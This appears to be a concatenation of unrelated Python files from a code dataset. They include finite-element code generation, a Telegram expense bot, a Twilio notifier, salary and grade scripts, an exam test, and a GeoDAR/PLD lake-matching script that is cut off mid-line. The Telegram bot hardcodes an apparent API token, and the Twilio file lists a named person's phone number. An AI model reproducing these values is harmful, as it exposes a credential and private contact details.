L.Symbol(\"order\")\n num_points = L.Symbol(\"num_points\")\n X = L.Symbol(\"X\")\n\n # Loop indices\n ip = L.Symbol(\"ip\") # point\n idof = L.Symbol(\"i\") # dof\n c = L.Symbol(\"c\") # component\n r = L.Symbol(\"r\") # derivative number\n\n # Define symbol for number of derivatives of given order\n num_derivatives = L.Symbol(\"num_derivatives\")\n reference_values_size = num_points * num_dofs * num_derivatives * reference_value_size\n\n # FIXME: validate these dimensions\n ref_values = L.FlattenedArray(reference_values,\n dims=(num_points, num_dofs, num_derivatives,\n reference_value_size))\n # From evaluatebasis.py:\n #ref_values = L.FlattenedArray(reference_values, dims=(num_points, num_dofs, reference_value_size))\n\n # Initialization (zeroing) and cutoffs outside valid range of orders\n setup_code = [\n # Cutoff to evaluate_basis for order 0\n L.If(L.EQ(order, 0), [\n L.Call(\"evaluate_reference_basis\", (reference_values, num_points, X)),\n L.Return()\n ]),\n # Compute number of derivatives of this order\n L.VariableDecl(\"const \" + index_type, num_derivatives,\n value=L.Call(\"std::pow\", (tdim, order))),\n # Reset output values to zero\n L.MemZero(reference_values, reference_values_size),\n # Cutoff for higher order than we have\n L.If(L.GT(order, max_degree),\n L.Return()),\n ]\n\n # If max_degree is zero, we don't need to generate any more code\n if max_degree == 0:\n return setup_code\n\n # Tabulate dmats tables for all dofs and all derivative directions\n dmats_names, dmats_code = generate_tabulate_dmats(L, data[\"dofs_data\"])\n\n # Generate code with static tables of expansion coefficients\n tables_code, coefficients_for_dof = generate_expansion_coefficients(L, data[\"dofs_data\"])\n\n\n # Generate code to compute tables of basisvalues\n basisvalues_code, basisvalues_for_degree, need_fiat_coordinates = \\\n generate_compute_basisvalues(L, data[\"dofs_data\"], element_cellname, tdim, X, ip)\n\n # Generate all possible combinations of derivatives.\n combinations_code, combinations = _generate_combinations(L, tdim, max_degree, order, num_derivatives)\n\n # Define symbols for variables populated inside dof switch\n derivatives = L.Symbol(\"derivatives\")\n reference_offset = L.Symbol(\"reference_offset\")\n num_components = L.Symbol(\"num_components\")\n\n # Get number of components of each basis function (>1 for dofs of piola mapped subelements)\n num_components_values = [dof_data[\"num_components\"] for dof_data in data[\"dofs_data\"]]\n\n # Offset into parent mixed element to first component of each basis function\n reference_offset_values = [dof_data[\"reference_offset\"] for dof_data in data[\"dofs_data\"]]\n\n # Max dimensions for the reference derivatives for each dof\n max_num_derivatives = tdim**max_degree\n max_num_components = max(num_components_values)\n\n # Add constant tables of these numbers\n tables_code += [\n L.ArrayDecl(\"const \" + index_type, reference_offset, num_dofs, values=reference_offset_values),\n L.ArrayDecl(\"const \" + index_type, num_components, num_dofs, values=num_components_values),\n ]\n\n # Access reference derivatives compactly\n derivs = L.FlattenedArray(derivatives, dims=(num_components[idof], num_derivatives))\n\n # Create code for all basis values (dofs).\n dof_cases = []\n for i_dof, dof_data in enumerate(data[\"dofs_data\"]):\n\n embedded_degree = dof_data[\"embedded_degree\"]\n basisvalues = basisvalues_for_degree[embedded_degree]\n\n shape_dmats = numpy.shape(dof_data[\"dmats\"][0])\n if shape_dmats[0] != shape_dmats[1]:\n error(\"Something is wrong with the dmats:\\n%s\" % str(dof_data[\"dmats\"]))\n\n aux = L.Symbol(\"aux\")\n dmats = L.Symbol(\"dmats\")\n dmats_old = L.Symbol(\"dmats_old\")\n dmats_name = dmats_names[i_dof]\n\n # Create dmats matrix by multiplication\n comb = L.Symbol(\"comb\")\n s = L.Symbol(\"s\")\n t = L.Symbol(\"t\")\n u = L.Symbol(\"u\")\n tu = L.Symbol(\"tu\")\n aux_computation_code = [ L.ArrayDecl(\"double\", aux, shape_dmats[0], values=0),\n L.Comment(\"Declare derivative matrix (of polynomial basis).\"),\n L.ArrayDecl(\"double\", dmats, shape_dmats, values=0),\n L.Comment(\"Initialize dmats.\"),\n L.VariableDecl(index_type, comb, combinations[r, 0]),\n L.MemCopy(L.AddressOf(dmats_name[comb][0][0]), L.AddressOf(dmats[0][0]), shape_dmats[0]*shape_dmats[1]),\n L.Comment(\"Looping derivative order to generate dmats.\"),\n L.ForRange(s, 1, order, index_type=index_type, body=[\n L.Comment(\"Store previous dmats matrix.\"),\n L.ArrayDecl(\"double\", dmats_old, shape_dmats),\n L.MemCopy(L.AddressOf(dmats[0][0]), L.AddressOf(dmats_old[0][0]), shape_dmats[0]*shape_dmats[1]),\n L.Comment(\"Resetting dmats.\"),\n L.MemZero(L.AddressOf(dmats[0][0]), shape_dmats[0]*shape_dmats[1]),\n L.Comment(\"Update dmats using an inner product.\"),\n L.Assign(comb, combinations[r, s]),\n L.ForRange(t, 0, shape_dmats[0], index_type=index_type, body=\n L.ForRange(u, 0, shape_dmats[1], index_type=index_type, body=\n L.ForRange(tu, 0, shape_dmats[0], index_type=index_type, body=\n L.AssignAdd(dmats[t, u], dmats_name[comb, t, tu] * dmats_old[tu, u]))))]),\n L.ForRange(s, 0, shape_dmats[0], index_type=index_type, body=\n L.ForRange(t, 0, shape_dmats[1], index_type=index_type, body=\n L.AssignAdd(aux[s], dmats[s, t] * basisvalues[t])))\n ]\n\n # Unrolled loop over components of basis function\n n = dof_data[\"num_components\"]\n compute_ref_derivs_code = [L.Assign(derivs[cc][r], 0.0) for cc in range(n)]\n\n compute_ref_derivs_code += [L.ForRange(s, 0, shape_dmats[0], index_type=index_type, body=\n [L.AssignAdd(derivs[cc][r], coefficients_for_dof[i_dof][cc][s] * aux[s]) for cc in range(n)])]\n\n embedded_degree = dof_data[\"embedded_degree\"]\n basisvalues = basisvalues_for_degree[embedded_degree]\n\n # Compute the derivatives of the basisfunctions on the reference (FIAT) element,\n # as the dot product of the new coefficients and basisvalues.\n\n case_code = [L.Comment(\"Compute reference derivatives for dof %d.\" % i_dof),\n # Accumulate sum_s coefficients[s] * aux[s]\n L.ForRange(r, 0, num_derivatives, index_type=index_type, body=[\n aux_computation_code,\n compute_ref_derivs_code\n ])]\n\n dof_cases.append((i_dof, case_code))\n\n # Loop over all dofs, entering a different switch case in each iteration.\n # This is a legacy from the previous implementation where the loop\n # was in a separate function and all the setup above was also repeated\n # in a call for each dof.\n # TODO: Further refactoring is needed to improve on this situation,\n # but at least it's better than before. There's probably more code and\n # computations that can be shared between dofs, and this would probably\n # be easier to fix if mixed elements were handled separately!\n dof_loop_code = [\n L.Comment(\"Loop over all dofs\"),\n L.ForRange(idof, 0, num_dofs, index_type=index_type, body=[\n L.ArrayDecl(\"double\", derivatives, max_num_components * max_num_derivatives, 0.0),\n L.Switch(idof, dof_cases),\n L.ForRange(r, 0, num_derivatives, index_type=index_type, body= [\n L.ForRange(c, 0, num_components[idof], index_type=index_type, body=[\n L.Assign(ref_values[ip][idof][r][reference_offset[idof] + c], derivs[c][r]), # FIXME: validate ref_values dims\n ]),\n ])\n ]),\n ]\n\n # Define loop over points\n final_loop_code = [\n L.ForRange(ip, 0, num_points, index_type=index_type, body=\n basisvalues_code\n + dof_loop_code\n )\n ]\n\n # Stitch it all together\n code = (\n setup_code\n + dmats_code\n + tables_code\n + combinations_code\n + final_loop_code\n )\n\n return code\n\n\ndef generate_tabulate_dmats(L, dofs_data):\n \"Tabulate the derivatives of the polynomial base\"\n\n alignas = 32\n\n # Emit code for the dmats we've actually used\n dmats_code = [L.Comment(\"Tables of derivatives of the polynomial base (transpose).\")]\n\n dmats_names = []\n\n all_matrices = []\n\n for idof, dof_data in enumerate(dofs_data):\n # Get derivative matrices (coefficients) of basis functions, computed by FIAT at compile time.\n derivative_matrices = dof_data[\"dmats\"]\n num_mats = len(derivative_matrices)\n num_members = dof_data[\"num_expansion_members\"]\n\n # Generate tables for each spatial direction.\n matrix = numpy.zeros((num_mats, num_members, num_members))\n for i, dmat in enumerate(derivative_matrices):\n # Extract derivatives for current direction\n # (take transpose, FIAT_NEW PolynomialSet.tabulate()).\n matrix[i,...] = numpy.transpose(dmat)\n\n # TODO: Use precision from parameters here\n from ffc.uflacs.elementtables import clamp_table_small_numbers\n matrix = clamp_table_small_numbers(matrix)\n\n # O(n^2) matrix matching...\n name = None\n for oldname, oldmatrix in all_matrices:\n if matrix.shape == oldmatrix.shape and numpy.allclose(matrix, oldmatrix):\n name = oldname\n break\n\n if name is None:\n # Define variable name for coefficients for this dof\n name = L.Symbol(\"dmats%d\" % (idof,))\n all_matrices.append((name, matrix))\n\n # Declare new dmats table with unique values\n decl = L.ArrayDecl(\"static const double\", name, (num_mats, num_members, num_members),\n values=matrix, alignas=alignas)\n dmats_code.append(decl)\n\n # Append name for each dof\n dmats_names.append(name)\n\n return dmats_names, dmats_code\n\n\ndef _generate_combinations(L, tdim, max_degree, order, num_derivatives, suffix=\"\"):\n max_num_derivatives = tdim**max_degree\n combinations = L.Symbol(\"combinations\" + suffix)\n\n # This precomputes the combinations for each order and stores in code as table\n # Python equivalent precomputed for each valid order:\n combinations_shape = (max_degree, max_num_derivatives, max_degree)\n all_combinations = numpy.zeros(combinations_shape, dtype=int)\n for q in range(1, max_degree+1):\n for row in range(1, max_num_derivatives):\n for num in range(0, row):\n for col in range(q-1, -1, -1):\n if all_combinations[q-1][row][col] > tdim - 2:\n all_combinations[q-1][row][col] = 0\n else:\n all_combinations[q-1][row][col] += 1\n break\n code = [\n L.Comment(\"Precomputed combinations\"),\n L.ArrayDecl(\"const \" + index_type, combinations, combinations_shape, values=all_combinations),\n ]\n # Select the right order for further access\n combinations = combinations[order-1]\n\n return code, combinations\n","repo_name":"JosteinGj/School","sub_path":"Digisig/digsigvenv/lib/python3.6/site-packages/ffc/uflacs/backends/ufc/evalderivs.py","file_name":"evalderivs.py","file_ext":"py","file_size_in_byte":13083,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"18933782149","text":"import telebot\r\nimport datetime\r\nimport csv\r\n\r\nbot = telebot.TeleBot(\"5869585883:AAFQYQ4rXwDd5BcYC-bsIZpCoefRBwM54Uw\", threaded=False)\r\ndate = datetime.date.today()\r\namount = \"\"\r\nwaster = \"\"\r\ndescription = \"\"\r\n\r\n@bot.message_handler(commands=['start', 'help'])\r\ndef send_welcome(message):\r\n bot.reply_to(message, \"Howdy, how are you doing?\")\r\n\r\n\r\n@bot.message_handler(func=lambda message: True)\r\ndef first_message(message):\r\n bot.reply_to(message, \"Hello\\nPlease choose a day:\\n1. Today\\n2. Yesterday\\n3. The day before yesterday\")\r\n bot.register_next_step_handler(message, date_message)\r\n\r\n@bot.message_handler(func=lambda message: True)\r\ndef date_message(message):\r\n global date\r\n if(message.text == \"1\"):\r\n date = datetime.date.today()\r\n if(message.text == \"2\"):\r\n date = datetime.date.today() - datetime.timedelta(days=1)\r\n if(message.text == \"3\"):\r\n date = datetime.date.today() - datetime.timedelta(days=2)\r\n bot.reply_to(message, \"Amount:\\n\")\r\n bot.register_next_step_handler(message, amount_message)\r\n\r\n@bot.message_handler(func=lambda message: True)\r\ndef amount_message(message):\r\n global amount\r\n amount = message.text\r\n bot.reply_to(message, \"Wasted by:\\n1. Dolev\\n2. Marina\\n3. Other\")\r\n bot.register_next_step_handler(message, waster_message)\r\n\r\n@bot.message_handler(func=lambda message: True)\r\ndef waster_message(message):\r\n global waster\r\n if (message.text == \"1\"):\r\n waster = \"Dolev\"\r\n if (message.text == \"2\"):\r\n waster = \"Marina\"\r\n if (message.text == \"3\"):\r\n waster = \"Other\"\r\n\r\n if(waster == \"Other\"):\r\n bot.reply_to(message, \"Please add a description:\\n\")\r\n bot.register_next_step_handler(message, description_message)\r\n else:\r\n bot.reply_to(message, \"Thanks! The Expanse was added.\\n\")\r\n with open(\"Expanses.csv\", \"a\", newline=\"\") as f:\r\n writer = csv.writer(f)\r\n writer.writerow([date.strftime(\"%d/%m/%Y\"), amount, waster, description])\r\n\r\n\r\n@bot.message_handler(func=lambda message: True)\r\ndef description_message(message):\r\n global description\r\n description = message.text\r\n with open(\"Expanses.csv\", \"a\", newline=\"\") as f:\r\n writer = csv.writer(f)\r\n writer.writerow([date.strftime(\"%d/%m/%Y\"), amount, waster, description])\r\n bot.reply_to(message, \"Thanks! The Expanse was added.\\n\")\r\n\r\n\r\nbot.polling()\r\n","repo_name":"DolevVaknin/ExpansesBotPublic","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"74100268721","text":"from twilio.rest import Client\n\nHOST_NUMBER = \"8312469327\"\n\n\nclass ClientNotif(object):\n \"\"\"\n Abstraction used for handling the list of people who want text notifications\n \"\"\"\n def __init__(self, username, token, mongo_client):\n self.mongo_client = mongo_client\n self.db = mongo_client['client_list']\n self.init_clients()\n self.client = Client(username, token)\n\n def init_clients(self, reset=False):\n CLIENTS = [{\n \"name\": \"Chris Risley\",\n \"phone\": 6505211067\n }]\n if reset:\n self.mongo_client.drop_database('client_list')\n for client in CLIENTS:\n self.add_client(client_name=client[\"name\"], client_number=client[\"phone\"])\n\n def send_message(self, phone_number, msg):\n message = self.client.messages.create(to=phone_number, from_=HOST_NUMBER, body=msg)\n\n def add_client(self, client_name, client_number):\n if self.db.client_list.find_one({'name': client_name}) is None:\n self.db.client_list.insert_one({'name': client_name, 'phone': client_number})\n\n def message_all(self, msg):\n clients = self.db.client_list.find()\n for client in clients:\n self.client.messages.create(to=client[\"phone\"], from_=HOST_NUMBER, body=client[\"name\"] + \" - \\n\" + msg)","repo_name":"CrizR/Crypto-Alpha","sub_path":"src/notify.py","file_name":"notify.py","file_ext":"py","file_size_in_byte":1319,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"38292872945","text":"from allYears_listData_dict import allYears_listData_dict # this allows you to call & get all the data for \n\nimport pandas as pd\npd.set_option('max_colwidth', 30) # This is so all the columns can show on my mac\n\ndef df_avgSalary_position(year_str, sort_boolean):\n # create a local All_Data_Dict\n data = allYears_listData_dict()\n\n ### temporary lists ####\n index_hits = []\n salary_float = data[year_str][\"salary_float\"]\n position_list = data[year_str][\"position_list\"]\n employee_list = data[year_str][\"employee_list\"] #for validation purpose!!!\n \n #set that contains a unique position\n unique_pos_set = set(position_list) #makes\n ## Backbone of a potential dataframe\n unique_pos_list = []\n sum_salary = []\n index_employees = []\n avg_salary = []\n paid_employees_count = []\n \n # convert the set data to a a list\n while (len(unique_pos_set)!=0): # checks to see if the unique_positions is not empty\n popped_off = unique_pos_set.pop()\n unique_pos_list.append(popped_off) \n \n #### Loop through all the positions in the list\n ### see what indexes each employee matches to\n for i in range(len(unique_pos_list)):\n position_name = unique_pos_list[i]\n index_employees_matches = []\n for j in range(len(position_list)):\n if (position_list[j]==position_name):\n index_employees_matches.append(j)\n else:\n pass\n index_employees.append(index_employees_matches)\n \n \n # go through the list again, and add the sum salary for each list\n for i in range(len(unique_pos_list)):\n #initialize the total salary\n total_salary = 0\n unpaid_leave = 0\n for k in range(len(index_employees[i])):\n #index_employee[k]\n salary_index = index_employees[i][k]\n try:\n total_salary += salary_float[salary_index]\n except:\n unpaid_leave +=1\n sum_salary.append({\"total\": total_salary, \"upl\": unpaid_leave})\n\n \n # go through the list again, and add the sum salary for each list\n for i in range(len(unique_pos_list)):\n total_salary = sum_salary[i][\"total\"]\n # total paid employees is the number of employees minus unpaid\n total_employees = len(index_employees[i]) - sum_salary[i][\"upl\"]\n if (total_employees <= 0):\n average_salary = 0\n else:\n average_salary = total_salary / total_employees\n# avg_salary.append(average_salary)\n avg_salary.append('{:20,.2f}'.format(average_salary)) ### THIS IS FOR FORMATED Version, can't get sorted!\n # avg_salary.append(average_salary)\n paid_employees_count.append(total_employees)\n# avg_salary.append(format(average_salary, \".2\"))\n \n \n# # Create a dataframe!! \n data = zip(unique_pos_list, avg_salary, paid_employees_count)\n df = pd.DataFrame(data, columns=[\"Employee_Position\", \"Average_Salary\", \"Number_of_Employees\"])\n if (sort_boolean):\n \tdf = df.sort([\"Average_Salary\"], ascending=False)\n return df\n # if (sort_boolean):\n\t# \tdf.sort([\"Average Salary\"], ascending=False)\n\t# return df\n \n \n# ###### CALL FUNCTION / TESTING ##################### \n# b = df_avgSalary_position(\"14\", True)\n# print b","repo_name":"thechutrain/uvmSalaryAnalysis","sub_path":"df_avgSalary_position.py","file_name":"df_avgSalary_position.py","file_ext":"py","file_size_in_byte":3344,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"39513086453","text":"\ndef get_grade(grade):\n if grade >= 0.9:\n return 'A'\n elif grade >= 0.8:\n return 'B'\n elif grade >= 0.7:\n return 'C'\n elif grade >= 0.6:\n return 'D'\n else:\n return 'F'\n\n\n\nif __name__ == \"__main__\":\n while True:\n try:\n grade = float(input(\"Please, enter a grade: \"))\n print(f\"Your grade is {get_grade(grade=grade)}\")\n break\n except ValueError:\n print(\"You cannot enter strings,try again\")\n","repo_name":"kindude/Kreativstorm_training","sub_path":"Week2/grade_sytem.py","file_name":"grade_sytem.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5581752023","text":"# -*- coding: utf-8 -*-\n\"\"\"\n@brief test log(time=60s)\n\"\"\"\nimport os\nimport unittest\nimport pandas\nfrom pyquickhelper.loghelper import fLOG\nfrom pyquickhelper.pycode import get_temp_folder\n\n\nclass TestExam2016(unittest.TestCase):\n\n def setUp(self):\n # add_missing_development_version(\n # [\"pyensae\", \"pymyinstall\", \"pyrsslocal\"], __file__)\n pass\n\n def test_data_2016(self):\n \"\"\"\n Questions\n\n 1. Deux fichiers sont extraits de la base de données d'un médecin.\n Un fichier contient des informations sur des personnes, un autre\n sur les rendez-vous pris par ces personnes. Quels sont-ils ?\n\n 2. On souhaite étudier la relation entre le prix moyen payés par une personne,\n son âge et son genre. Calculer le prix moyen payé par une personne ?\n\n 3. Faire la jointure entre les deux tables.\n\n 4. Tracer deux nuages de points (age, prix moyen) et (genre, prix moyen) ?\n\n 5. Calculer les coefficients de la régression prix moyen ~ age + genre.\n\n 6. On souhaite étudier le prix d'une consultation en fonction du jour de la semaine.\n Ajouter une colonne dans la table de votre choix avec le jour de la semaine.\n\n 7. Créer un graphe moustache qui permet de vérifier cette hypothèse.\n\n 8. Ajouter une colonne dans la table de votre choix qui contient\n 365 si c'est le premier randez-vous, le nombre de jour écoulés\n depuis le précédent rendez-vous. On appelle cette colonne delay.\n On ajoute également la colonne 1/delay.\n\n 9. Calculer les coefficients de la régression\n prix ~ age + genre + delay + 1/delay + jour_semaine.\n\n 10. Comment comparer ce modèle avec le précédent ?\n Implémentez le calcul qui vous permet de répondre à cette question.\n \"\"\"\n fLOG(\n __file__,\n self._testMethodName,\n OutputPrint=__name__ == \"__main__\")\n\n from actuariat_python.exams.ex2016 import enumerate_person, enumerate_appointments\n f = list(enumerate_person(n=1))\n assert isinstance(f[0], dict)\n df = pandas.DataFrame(enumerate_person(n=1000))\n self.assertEqual(df.shape, (1000, 4))\n fLOG(df.head())\n\n persons = df.to_dict(\"records\")\n ap = pandas.DataFrame(enumerate_appointments(persons))\n fLOG(ap.head())\n\n temp = get_temp_folder(__file__, \"temp_data_2016\")\n f1 = os.path.join(temp, \"persons.txt\")\n df.to_csv(f1, index=False, sep=\"\\t\")\n f2 = os.path.join(temp, \"rendezvous.txt\")\n ap.to_csv(f2, index=False, sep=\"\\t\")\n\n assert os.path.exists(f1)\n assert os.path.exists(f2)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"sdpython/actuariat_python","sub_path":"_unittests/ut_exams/test_exam2016.py","file_name":"test_exam2016.py","file_ext":"py","file_size_in_byte":2784,"program_lang":"python","lang":"fr","doc_type":"code","stars":6,"dataset":"github-code","pt":"75"} +{"seq_id":"75061330803","text":"#code\nfor _ in range(int(input())):\n st=input()\n s=\"\"\n c=0\n for i in st:\n if i.isalpha():\n s=s+i\n x=\"\".join(sorted(s))\n else:\n c=c+int(i)\n \n print(x+str(c))\n","repo_name":"shrishtydayal2304/Gfg-practice","sub_path":"String/rearrange a string/rearrange a string.py","file_name":"rearrange a string.py","file_ext":"py","file_size_in_byte":226,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"5055560968","text":"# [Description] ------------------------------\r\n# This module associate GeoDAR IDs with PLD polygons. \r\n\r\n# note: For GeoDAR polygons that do not intersect with PLDv11_circa2015, I've already appended them to PLDv11_circa2015, \r\n# and lake_UID equals to geoDAR ID. For these dams (done in #step 3). \r\n\r\n# Script by: Jida Wang, Kansas State University\r\n# Initiated: Feb. 27, 2022\r\n# Last update: Feb. 27, 2022\r\n# Contact: jidawang@ksu.edu; gdbruins@ucla.edu\r\n#---------------------------------------------\r\n\r\n\r\n\r\n\r\n# [Setup] -----------------------------------\r\n# Inputs\r\n# work_dir: working space\r\nwork_dir = r\"D:\\Research\\Projects\\SWOT\\Dam_inventory_collection\\Dam_harmonization\\Auxiliary_datasets\\Lakes\\SWOT_PLD_v01.gdb\"\r\n\r\nGeoDAR = r\"D:\\Research\\Projects\\SWOT\\Dam_inventory_collection\\Dam_harmonization\\Dam_datasets\\All_dams.gdb\\GeoDAR_v11_reservoirs_internal_simple\"\r\n\r\n# Water_original: original water polygons\r\nPLD = \"PLDv01_circa2015_GeoDARv11_subset\" #this is only the subset of the latter, which spatially intersects with GeoDAR to save computation\r\n#PLD_full = \"PLDv01_circa2015_GeoDARv11_edit\" #a duplicate of PLDv01_circa2015_GeoDARv11. Use table join because doing this takes way too long. \r\n#---------------------------------------------\r\n\r\n\r\n\r\n# [Script] -----------------------------------\r\n# Import built-in functions and tools.\r\nimport arcpy, numpy, os\r\nimport numpy as np\r\nfrom arcpy import env\r\nfrom numpy import ndarray\r\nfrom datetime import date\r\n\r\nprint(\"----- Module Started -----\")\r\nprint(datetime.datetime.now())\r\n\r\n# Define environment settings.\r\nenv.workspace = work_dir\r\nenv.overwriteOutput = \"TRUE\"\r\n \r\n#Make feature layer\r\narcpy.MakeFeatureLayer_management(PLD, \"PLD_lyr\")\r\narcpy.MakeFeatureLayer_management(GeoDAR, \"GeoDAR_lyr\")\r\n\r\n#Intersect the two layers\r\narcpy.Intersect_analysis([\"PLD_lyr\", \"GeoDAR_lyr\"], \"intermediate_1\")\r\nprint('intersection completed...')\r\n\r\n# Retrieve GoDAR IDs\r\nall_intersected_GeoDARv11_ID = []\r\nall_intersected_lake_UID = []\r\nall_intersected_area = []\r\nunique_intersected_lake_UID = []\r\nunique_intersected_GeoDARv11_ID = []\r\npolygon_records = arcpy.SearchCursor(\"intermediate_1\") # By default, cursor only takes effect for selected features.\r\nfor polygon_record in polygon_records:\r\n all_intersected_GeoDARv11_ID.append(polygon_record.GeoDARv11_ID)\r\n all_intersected_lake_UID.append(polygon_record.lake_UID)\r\n all_intersected_area.append(polygon_record.Shape_Area)\r\n \r\n if polygon_record.lake_UID not in unique_intersected_lake_UID:\r\n unique_intersected_lake_UID.append(polygon_record.lake_UID)\r\n if polygon_record.GeoDARv11_ID not in unique_intersected_GeoDARv11_ID:\r\n unique_intersected_GeoDARv11_ID.append(polygon_record.GeoDARv11_ID)\r\ndel polygon_record # Release the cursor\r\ndel polygon_records\r\nprint('GeoDAR IDs retrieved...')\r\n\r\n# Generate unique PLD information (including joint count and jointed GeoDAR IDs)\r\nunique_intersected_lake_UID_joint_count = [] #paprallel with unique_intersected_lake_UID!\r\nunique_intersected_lake_UID_joint_GeoDAR_ID = []\r\nunique_intersected_lake_UID_arearatio = []\r\nfor this_unique_lake_UID in unique_intersected_lake_UID:\r\n here_PLD_indices = [i for i, x in enumerate(all_intersected_lake_UID) if x == this_unique_lake_UID] #search from dam arrays. \r\n \r\n this_unique_GeoDAR_IDs = [] #unique GeoDAR IDs for this PLD lake_UID polygon\r\n for this_PLD_index in here_PLD_indices:\r\n if all_intersected_GeoDARv11_ID[this_PLD_index] not in this_unique_GeoDAR_IDs:\r\n this_unique_GeoDAR_IDs.append(all_intersected_GeoDARv11_ID[this_PLD_index]) \r\n #this can be simply done by [all_intersected_GeoDARv11_ID[i] for i in here_PLD_indices] #these values are unique here. Check so: \r\n if [all_intersected_GeoDARv11_ID[i] for i in here_PLD_indices] != this_unique_GeoDAR_IDs:\r\n print('this should not happen........... algorithm varies')\r\n #break\r\n #This can happen. This is because: very strangely, if there are two polygons nested within each other from the same source \r\n #(circa 2015 has such an error: C15_3977065 C15_8349584 for lake_UID)\r\n # when they intersect with another polygon from another source, there will be three intersected polygons, instead of two...\r\n # This has been corrected from the original PLD file (no overlap any more!!)\r\n \r\n unique_intersected_lake_UID_joint_count.append(len(this_unique_GeoDAR_IDs))\r\n unique_intersected_lake_UID_joint_GeoDAR_ID.append(this_unique_GeoDAR_IDs[-1]) #use the last ID\r\n unique_intersected_lake_UID_arearatio.append(-1.0) #initiate the array\r\nprint('unique intersected lake UID retrieved')\r\n \r\n# Retrieve original areas for each unique PLD polygon (only those that intersect with GeoDAR)\r\noriginal_PLD_areas = []\r\noriginal_PLD_lake_UID = []\r\npolygon_records = arcpy.SearchCursor(\"PLD_lyr\") # By default, cursor only takes effect for selected features.\r\nfor polygon_record in polygon_records:\r\n if polygon_record.lake_UID in unique_intersected_lake_UID:\r\n original_PLD_areas.append(polygon_record.Shape_Area)\r\n original_PLD_lake_UID.append(polygon_record.lake_UID)\r\ndel polygon_record # Release the cursor\r\ndel polygon_records\r\nif len(original_PLD_lake_UID) != len(unique_intersected_lake_UID):\r\n print('This should not happen')\r\n# Just in case, reorder it based on the order of unique_intersected_lake_UID\r\nsorted_original_PLD_areas = [] #paprallel with unique_intersected_lake_UID!\r\nfor this_unique_lake_UID in unique_intersected_lake_UID:\r\n here_PLD_indices = [i for i, x in enumerate(original_PLD_lake_UID) if x == this_unique_lake_UID] #search from dam arrays. \r\n if len(here_PLD_indices) != 1:\r\n print('this should not happen ..........')\r\n else:\r\n sorted_original_PLD_areas.append(original_PLD_areas[here_PLD_indices[0]])\r\nprint('sorted original PLD areas generated')\r\n\r\n# Loop through each unique GeoDAR IDs. follow the sequence of unique_intersected_GeoDARv11_ID (in intersected result),\r\n# but this sequence may not always follow the GeoDAR sequence. \r\nfor this_unique_GeoDARv11_ID in unique_intersected_GeoDARv11_ID:\r\n here_GeoDAR_indices = [i for i, x in enumerate(all_intersected_GeoDARv11_ID) if x == this_unique_GeoDARv11_ID]\r\n \r\n withinGeoDAR_lake_UID = [all_intersected_lake_UID[i] for i in here_GeoDAR_indices] #these values are unique here. \r\n \r\n # Collect the sum of the intersectied area\r\n sum_intersected_area = sum([all_intersected_area[i] for i in here_GeoDAR_indices])\r\n \r\n #Check the count of PLD for each of these lake_UID\r\n withinGeoDAR_lake_UID_joint_count = []\r\n withinGeoDAR_lake_UID_area = []\r\n for this_withinGeoDAR_lake_UID in withinGeoDAR_lake_UID: #this will be double counted if the values are not unique!\r\n index_1 = [i for i, x in enumerate(unique_intersected_lake_UID) if x == this_withinGeoDAR_lake_UID] \r\n if len(index_1) != 1:\r\n print('this should not happen....')\r\n withinGeoDAR_lake_UID_joint_count.append(unique_intersected_lake_UID_joint_count[index_1[0]]) #only to check confidence\r\n withinGeoDAR_lake_UID_area.append(sorted_original_PLD_areas[index_1[0]])\r\n sum_withinGeoDAR_lake_UID_area = sum(withinGeoDAR_lake_UID_area)\r\n area_ratio = 1.0*sum_intersected_area/sum_withinGeoDAR_lake_UID_area\r\n \r\n check_needed = 'yes'\r\n if max(withinGeoDAR_lake_UID_joint_count) == 1 and area_ratio > 0.99:\r\n check_needed = 'no'\r\n \r\n # Update values in unique_intersected_lake_UID series \r\n for this_withinGeoDAR_lake_UID in withinGeoDAR_lake_UID:\r\n index_2 = [i for i, x in enumerate(unique_intersected_lake_UID) if x == this_withinGeoDAR_lake_UID] \r\n if check_needed == 'no':\r\n unique_intersected_lake_UID_joint_count[index_2[0]] = -1 #update for all PLD polygons for this cluster (i.e., intersecting this GeoDAR reservoir). \r\n # This should not interfere with the next iteration because the previous count is 1 (unique). \r\n \r\n # update area\r\n unique_intersected_lake_UID_arearatio[index_2[0]] = area_ratio #applying to all PLD polygons for this cluster (intersecting this GeoDAR reservoir).\r\n # If this PLD polygon intersects more than one GeoDAR polygon, the ratio intersected with the last GeoDAR polygon will be used for a possible 'rewrite'. \r\n # This is consistent with the GeoDAR ID written for this PLD polygon (see iteration above).\r\n # This is okay, because the count number of this PLD polygon will be used to indicate the need for manual check. \r\nprint('unique intersected GeoDARv11 information generated')\r\n \r\n# Assign values to the original PLD\r\n# Must be added at the end otherwise it will cause conflicts with the attribute names in Intersection Tool.\r\nfieldList = arcpy.ListFields(PLD) \r\nfieldName = [f.name for f in fieldList]\r\nif ('GeoDARv11_ID' in fieldName) == False:\r\n arcpy.AddField_management(PLD, 'GeoDARv11_ID', \"TEXT\")\r\nif ('lake_UID_QC' in fieldName) == False:\r\n arcpy.AddField_management(PLD, 'lake_UID_QC', \"TEXT\") # manual split or edit may be needed. \r\nif ('GeoDARv11_ID_QC' in fieldName) == False:\r\n arcpy.AddField_management(PLD, 'GeoDARv11_ID_QC', \"TEXT\")\r\nif ('intGeoDAR_count' in fieldName) == False:\r\n arcpy.AddField_management(PLD, 'intGeoDAR_count', \"LONG\")\r\nif ('intGeoDAR_arearatio' in fieldName) == False:\r\n arcpy.AddField_management(PLD, 'intGeoDAR_arearatio', \"DOUBLE\") \r\n \r\npolygon_records = arcpy.UpdateCursor(PLD) # By default, cursor only takes effect for selected features.\r\nfor polygon_record in polygon_records:\r\n polygon_record.lake_UID_QC = polygon_record.lake_UID\r\n \r\n index_3 = [i for i, x in enumerate(unique_intersected_lake_UID) if x == polygon_record.lake_UID] \r\n if len(index_3) > 